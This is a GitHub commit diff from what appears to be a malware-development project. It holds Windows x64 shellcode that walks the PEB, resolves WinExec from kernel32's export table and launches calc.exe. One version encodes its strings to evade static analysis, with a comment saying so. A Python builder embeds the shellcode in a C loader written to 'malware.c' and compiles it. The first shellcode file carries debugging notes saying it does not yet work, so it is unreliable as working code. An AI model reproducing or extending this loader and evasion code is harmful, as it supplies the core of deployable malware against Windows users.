Skip to content

Commit 7a2b035

Browse files
committed
debugging
1 parent b4d6eea commit 7a2b035

File tree

3 files changed

+153
-119
lines changed

3 files changed

+153
-119
lines changed

shellcode.asm

Lines changed: 18 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,10 @@
11
[bits 64]
22

33
;; TODO: DEBUG this shiiiit (x64dbg)
4+
section .text:
5+
global _start
46

7+
_start:
58
; Access PEB structure
69
xor rbx, rbx
710
mov rbx, gs:[0x60] ; RBX = address of PEB struct
@@ -18,36 +21,37 @@ mov rbx, [rbx+0x20] ; RBX = PEB_LDR_DATA.DllBase (address of kernel32.dll)
1821
mov r8, rbx ; R8 = RBX (address of kernel32.dll)
1922

2023
; Get VA address of ExportTable (kernel32.dll)
21-
mov ebx, [rbx+0x3c] ; RBX = IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
22-
add rbx, r8 ; RBX = &kernel32.dll + PeHeaders offset = &PeHeaders
24+
mov ebx, [r8+0x3c] ; RBX = kernel32.IMAGE_DOS_HEADER.e_lfanew (PE hdrs offset)
25+
add rbx, r8 ; RBX = PeHeaders offset + &kernel32.dll = &PeHeaders
2326

2427
xor rcx, rcx
25-
add cx, 0x88 ; RCX = 0x88 (offset of ExportTable RVA)
26-
add rbx, [rbx+rcx] ; RBX = &PeHeaders + offset of ExportTable RVA = ExportTable RVA
28+
add cl, 0x0088 ; RCX = 0x88 (offset ExportTable RVA)
29+
mov ebx, [rbx+rcx] ; RBX = &PeHeaders + offset ExportTable RVA = ExportTable RVA
2730
add rbx, r8 ; RBX = ExportTable RVA + &kernel32.dll = &ExportTable
2831
mov r9, rbx ; R9 = &ExportTable
2932

3033
; Get VA address of ExportTable.AddressOfFunctions
3134
xor r10, r10
32-
mov r10, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
35+
mov r10d, [r9+0x1c] ; R10 = ExportTable.AddressOfFunctions RVA
3336
add r10, r8 ; R10 = &kernel32.dll + RVA = &AddressOfFunctions
3437

3538
; Get VA address of ExportTable.AddressOfNames
3639
xor r11, r11
37-
mov r11, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
40+
mov r11d, [r9+0x20] ; R11 = ExportTable.AddressOfNames RVA
3841
add r11, r8 ; R11 = &kernel32.dll + RVA = &AddressOfNames
3942

4043
; Get VA address of ExportTable.AddressOfNameOrdinals
4144
xor r12, r12
42-
mov r12, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
45+
mov r12d, [r9+0x24] ; R12 = ExportTable.AddressOfNameOrdinals RVA
4346
add r12, r8 ; R12 = &kernel32.dll + RVA = &AddressOfNameOrdinals
4447

4548
; Get address of WinExec function exported from kernel32.dll
4649
xor rcx, rcx
4750
add cl, 0x7 ; RCX = function name length ("WinExec" == 7)
4851

4952
xor rax, rax
50-
mov rax, 0x636578456E695700 ; RAX = function name = "cexEniW" (WinExec) + 0x00
53+
push ax ; STACK + null terminator (2)
54+
mov rax, 0x00636578456E6957 ; RAX = function name = "cexEniW" (WinExec) + 0x00
5155
push rax ; STACK + function name address (8)
5256
mov rsi, rsp ; RSI = &function_name
5357

@@ -64,8 +68,8 @@ xor rax, rax
6468
xor rcx, rcx
6569
xor rdx, rdx
6670

67-
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
6871
push ax ; STACK + null terminator (2)
72+
mov rax, 0x6578652e636c6163 ; RAX = "exe.clac" (command string: calc.exe)
6973
push rax ; STACK + command string (8)
7074
mov rcx, rsp ; RCX = LPCSTR lpCmdLine
7175

@@ -100,10 +104,14 @@ get_winapi_func:
100104
mov edi, [r11+rax*4] ; RDI = function name RVA
101105
add rdi, r8 ; RDI = &FunctionName = function name RVA + &kernel32.dll
102106
repe cmpsb ; Compare byte at *RDI (array item str) and *RSI (param function name)
107+
; FIXME: Item NOT FOUND: RDI, RSI
108+
; Something's wrong with stack placing of the function name string.
109+
; Why is there "shr rax, 0x8" originally? WTF?
110+
; R11 = correct
103111

104112
je resolve_func_addr ; Jump if exported function name == param function name
105113

106-
inc rax ; RAX = RAX + 1
114+
inc rax ; RAX = counter + 1
107115
jmp short loop
108116

109117
resolve_func_addr:
Lines changed: 97 additions & 91 deletions
Original file line numberDiff line numberDiff line change
@@ -1,92 +1,98 @@
1-
xor rdi, rdi ; RDI = 0x0
2-
mul rdi ; RAX&RDX =0x0
3-
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
4-
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
5-
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
6-
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
7-
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
8-
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
9-
mov r8, rbx ; RBX & R8 = &kernel32.dll
10-
11-
; Get kernel32.dll ExportTable Address
12-
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
13-
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
14-
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
15-
add cx, 0x88ff
16-
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
17-
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
18-
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
19-
20-
; Get &AddressTable from Kernel32.dll ExportTable
21-
xor r10, r10
22-
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
23-
add r10, r8 ; R10 = &AddressTable
24-
25-
; Get &NamePointerTable from Kernel32.dll ExportTable
26-
xor r11, r11
27-
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
28-
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
29-
30-
; Get &OrdinalTable from Kernel32.dll ExportTable
31-
xor r12, r12
32-
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
33-
add r12, r8 ; R12 = &OrdinalTable
34-
35-
jmp short apis
36-
37-
; Get the address of the API from the Kernel32.dll ExportTable
38-
getapiaddr:
39-
pop rbx ; save the return address for ret 2 caller after API address is found
40-
pop rcx ; Get the string length counter from stack
41-
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
42-
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
43-
push rcx ; push the string length counter to stack
44-
loop:
45-
mov rcx, [rsp] ; reset the string length counter from the stack
46-
xor rdi,rdi ; Clear RDI for setting up string name retrieval
47-
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
48-
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
49-
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
50-
repe cmpsb ; Compare strings at RDI & RSI
51-
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
52-
incloop:
53-
inc rax
54-
jmp short loop
55-
56-
; Find the address of GetProcAddress by using the last value of the Counter
57-
resolveaddr:
58-
pop rcx ; remove string length counter from top of stack
59-
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
60-
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
61-
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
62-
push rbx ; place the return address from the api string call back on the top of the stack
63-
ret ; return to API caller
64-
65-
apis: ; API Names to resolve addresses
66-
; WinExec | String length : 7
67-
xor rcx, rcx
68-
add cl, 0x7 ; String length for compare string
69-
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
70-
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
71-
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
72-
push rax
73-
push rcx ; push the string length counter to stack
74-
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
75-
mov r14, rax ; R14 = Kernel32.WinExec Address
76-
77-
; UINT WinExec(
78-
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
79-
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
80-
; );
81-
xor rcx, rcx
82-
mul rcx ; RAX & RDX & RCX = 0x0
83-
; calc.exe | String length : 8
84-
push rax ; Null terminate string on stack
85-
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
86-
not rax
87-
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
88-
push rax ; RSP = "calc.exe",0x0
89-
mov rcx, rsp ; RCX = "calc.exe",0x0
90-
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
91-
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
1+
[bits 64]
2+
3+
section .text:
4+
global _start
5+
6+
_start:
7+
xor rdi, rdi ; RDI = 0x0
8+
mul rdi ; RAX&RDX =0x0
9+
mov rbx, gs:[rax+0x60] ; RBX = Address_of_PEB
10+
mov rbx, [rbx+0x18] ; RBX = Address_of_LDR
11+
mov rbx, [rbx+0x20] ; RBX = 1st entry in InitOrderModuleList / ntdll.dll
12+
mov rbx, [rbx] ; RBX = 2nd entry in InitOrderModuleList / kernelbase.dll
13+
mov rbx, [rbx] ; RBX = 3rd entry in InitOrderModuleList / kernel32.dll
14+
mov rbx, [rbx+0x20] ; RBX = &kernel32.dll ( Base Address of kernel32.dll)
15+
mov r8, rbx ; RBX & R8 = &kernel32.dll
16+
17+
; Get kernel32.dll ExportTable Address
18+
mov ebx, [rbx+0x3C] ; RBX = Offset NewEXEHeader
19+
add rbx, r8 ; RBX = &kernel32.dll + Offset NewEXEHeader = &NewEXEHeader
20+
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
21+
add cx, 0x88ff
22+
shr rcx, 0x8 ; RCX = 0x88ff --> 0x88
23+
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
24+
add rdx, r8 ; RDX = &kernel32.dll + RVA ExportTable = &ExportTable
25+
26+
; Get &AddressTable from Kernel32.dll ExportTable
27+
xor r10, r10
28+
mov r10d, [rdx+0x1C] ; RDI = RVA AddressTable
29+
add r10, r8 ; R10 = &AddressTable
30+
31+
; Get &NamePointerTable from Kernel32.dll ExportTable
32+
xor r11, r11
33+
mov r11d, [rdx+0x20] ; R11 = [&ExportTable + Offset RVA Name PointerTable] = RVA NamePointerTable
34+
add r11, r8 ; R11 = &NamePointerTable (Memory Address of Kernel32.dll Export NamePointerTable)
35+
36+
; Get &OrdinalTable from Kernel32.dll ExportTable
37+
xor r12, r12
38+
mov r12d, [rdx+0x24] ; R12 = RVA OrdinalTable
39+
add r12, r8 ; R12 = &OrdinalTable
40+
41+
jmp short apis
42+
43+
; Get the address of the API from the Kernel32.dll ExportTable
44+
getapiaddr:
45+
pop rbx ; save the return address for ret 2 caller after API address is found
46+
pop rcx ; Get the string length counter from stack
47+
xor rax, rax ; Setup Counter for resolving the API Address after finding the name string
48+
mov rdx, rsp ; RDX = Address of API Name String to match on the Stack
49+
push rcx ; push the string length counter to stack
50+
loop:
51+
mov rcx, [rsp] ; reset the string length counter from the stack
52+
xor rdi,rdi ; Clear RDI for setting up string name retrieval
53+
mov edi, [r11+rax*4] ; EDI = RVA NameString = [&NamePointerTable + (Counter * 4)]
54+
add rdi, r8 ; RDI = &NameString = RVA NameString + &kernel32.dll
55+
mov rsi, rdx ; RSI = Address of API Name String to match on the Stack (reset to start of string)
56+
repe cmpsb ; Compare strings at RDI & RSI
57+
je resolveaddr ; If match then we found the API string. Now we need to find the Address of the API
58+
incloop:
59+
inc rax
60+
jmp short loop
61+
62+
; Find the address of GetProcAddress by using the last value of the Counter
63+
resolveaddr:
64+
pop rcx ; remove string length counter from top of stack
65+
mov ax, [r12+rax*2] ; RAX = [&OrdinalTable + (Counter*2)] = ordinalNumber of kernel32.<API>
66+
mov eax, [r10+rax*4] ; RAX = RVA API = [&AddressTable + API OrdinalNumber]
67+
add rax, r8 ; RAX = Kernel32.<API> = RVA kernel32.<API> + kernel32.dll BaseAddress
68+
push rbx ; place the return address from the api string call back on the top of the stack
69+
ret ; return to API caller
70+
71+
apis: ; API Names to resolve addresses
72+
; WinExec | String length : 7
73+
xor rcx, rcx
74+
add cl, 0x7 ; String length for compare string
75+
mov rax, 0x9C9A87BA9196A80F ; not 0x9C9A87BA9196A80F = 0xF0,WinExec
76+
not rax ;mov rax, 0x636578456e6957F0 ; cexEniW,0xF0 : 636578456e6957F0 - Did Not to avoid WinExec returning from strings static analysis
77+
shr rax, 0x8 ; xEcoll,0xFFFF --> 0x0000,xEcoll
78+
push rax
79+
push rcx ; push the string length counter to stack
80+
call getapiaddr ; Get the address of the API from Kernel32.dll ExportTable
81+
mov r14, rax ; R14 = Kernel32.WinExec Address
82+
83+
; UINT WinExec(
84+
; LPCSTR lpCmdLine, => RCX = "calc.exe",0x0
85+
; UINT uCmdShow => RDX = 0x1 = SW_SHOWNORMAL
86+
; );
87+
xor rcx, rcx
88+
mul rcx ; RAX & RDX & RCX = 0x0
89+
; calc.exe | String length : 8
90+
push rax ; Null terminate string on stack
91+
mov rax, 0x9A879AD19C939E9C ; not 0x9A879AD19C939E9C = "calc.exe"
92+
not rax
93+
;mov rax, 0x6578652e636c6163 ; exe.clac : 6578652e636c6163
94+
push rax ; RSP = "calc.exe",0x0
95+
mov rcx, rsp ; RCX = "calc.exe",0x0
96+
inc rdx ; RDX = 0x1 = SW_SHOWNORMAL
97+
sub rsp, 0x20 ; WinExec clobbers first 0x20 bytes of stack (Overwrites our command string when proxied to CreatProcessA)
9298
call r14 ; Call WinExec("calc.exe", SW_HIDE)

shellcoder.py

Lines changed: 38 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -16,11 +16,6 @@
1616
# - NASM (Netwide Assembler)
1717
# - Visual Studio 2022
1818

19-
"""
20-
[ ] Sprawdz czy zwykly shellcode dziala
21-
[ ] Moze NASM trzeba jakos inaczej kompilowac / pobierac?
22-
"""
23-
2419
import subprocess
2520
import os
2621
import sys
@@ -30,7 +25,7 @@
3025

3126
# Utility files
3227
SHELLCODE_INPUT_FILE = "shellcode.asm"
33-
SHELLCODE_OUTPUT_FILE = f"{OUT_DIR}\\shellcode.bin"
28+
SHELLCODE_OUTPUT_NAME = f"{OUT_DIR}\\shellcode"
3429
LOADER_INPUT_FILE = "loader.c"
3530
LOADER_OUTPUT_FILE = f"{OUT_DIR}\\malware.c"
3631

@@ -43,10 +38,30 @@
4338
# Batch script with Visual Studio compiler environment variables
4439
MSVC_BATCH_SCRIPT = "C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\VC\\Auxiliary\\Build\\vcvars64.bat"
4540

41+
global ENVIRON
42+
43+
44+
def get_msvc_console_environs() -> dict[str, str]:
45+
cmd = f'"{MSVC_BATCH_SCRIPT}" && set'
46+
executable = "C:\\Windows\\System32\\cmd.exe"
47+
process = subprocess.run(cmd, text=True, check=True, capture_output=True, shell=True, executable=executable)
48+
49+
if process.returncode != 0:
50+
print(f"[!] MSVC Developer Console error: {process.stderr}")
51+
sys.exit(-1)
52+
53+
envs = {}
54+
for line in process.stdout.splitlines():
55+
if '=' in line:
56+
key, value = line.split('=', 1)
57+
envs[key] = value
58+
59+
return envs
60+
4661

4762
def is_cmd_available(cmd: str):
4863
try:
49-
subprocess.call(cmd, text=True)
64+
subprocess.call(cmd, text=True, stderr=subprocess.PIPE)
5065
except FileNotFoundError:
5166
return False
5267

@@ -57,27 +72,35 @@ def assert_cmd(cmd: str):
5772
if (is_cmd_available(cmd)):
5873
return
5974

60-
print(f"[!] command not found: {cmd}", file=sys.stderr)
75+
print(f"[!] Command not found: {cmd}", file=sys.stderr)
6176
sys.exit(-1)
6277

78+
def cmd_exec(cmd: str):
79+
subprocess.run(cmd, text=True, check=True, shell=True, env=ENVIRON)
6380

6481
if __name__ == "__main__":
6582
# Check if NASM is available
6683
assert_cmd("nasm")
84+
print("[*] Fetching VS Developer Console envs...")
85+
ENVIRON = get_msvc_console_environs()
6786

6887
# Prepare output directory
6988
os.makedirs(OUT_DIR, exist_ok=True)
7089

71-
# Compile Assembly
72-
subprocess.run(
73-
["nasm", "-f", "bin", SHELLCODE_INPUT_FILE, "-o", SHELLCODE_OUTPUT_FILE], check=True
74-
)
90+
# Compile Assembly (exe)
91+
SHELLCODE_OBJ_OUTPUT = f"{SHELLCODE_OUTPUT_NAME}.obj"
92+
cmd_exec(f"nasm -f win64 {SHELLCODE_INPUT_FILE} -o {SHELLCODE_OBJ_OUTPUT}")
93+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_NAME}.exe")
94+
cmd_exec(f'cd "{OUT_DIR}" && link "..\\{SHELLCODE_OBJ_OUTPUT}" /out:shellcode.exe /entry:_start /subsystem:console')
7595

76-
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_OUTPUT_FILE}")
96+
# Compile Assembly (bin)
97+
SHELLCODE_BIN_OUTPUT = f"{SHELLCODE_OUTPUT_NAME}.bin"
98+
cmd_exec(f"nasm -f bin {SHELLCODE_INPUT_FILE} -o {SHELLCODE_BIN_OUTPUT}")
99+
print(f"[+] NASM: {SHELLCODE_INPUT_FILE} -> {SHELLCODE_BIN_OUTPUT}")
77100

78101
# Prepare C array with shellcode payload
79102
payload = ""
80-
with open(SHELLCODE_OUTPUT_FILE, "rb") as f:
103+
with open(SHELLCODE_BIN_OUTPUT, "rb") as f:
81104
bytes = bytearray(f.read())
82105

83106
size = len(bytes)
@@ -100,8 +123,5 @@ def assert_cmd(cmd: str):
100123

101124
# Compile final binary
102125
print(f"[*] MSVC: Compilation of {LOADER_OUTPUT_FILE} \n")
103-
104-
cmd = f'"{MSVC_BATCH_SCRIPT}" && cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"'
105-
proc = subprocess.run(cmd, check=True, text=True)
106-
126+
cmd_exec(f'cd "{OUT_DIR}" && cl.exe "../{LOADER_OUTPUT_FILE}"')
107127
print(f"\n[+] Output binary ({BINARY_OUTPUT_FILE}) is ready to be executed!")

0 commit comments

Comments
 (0)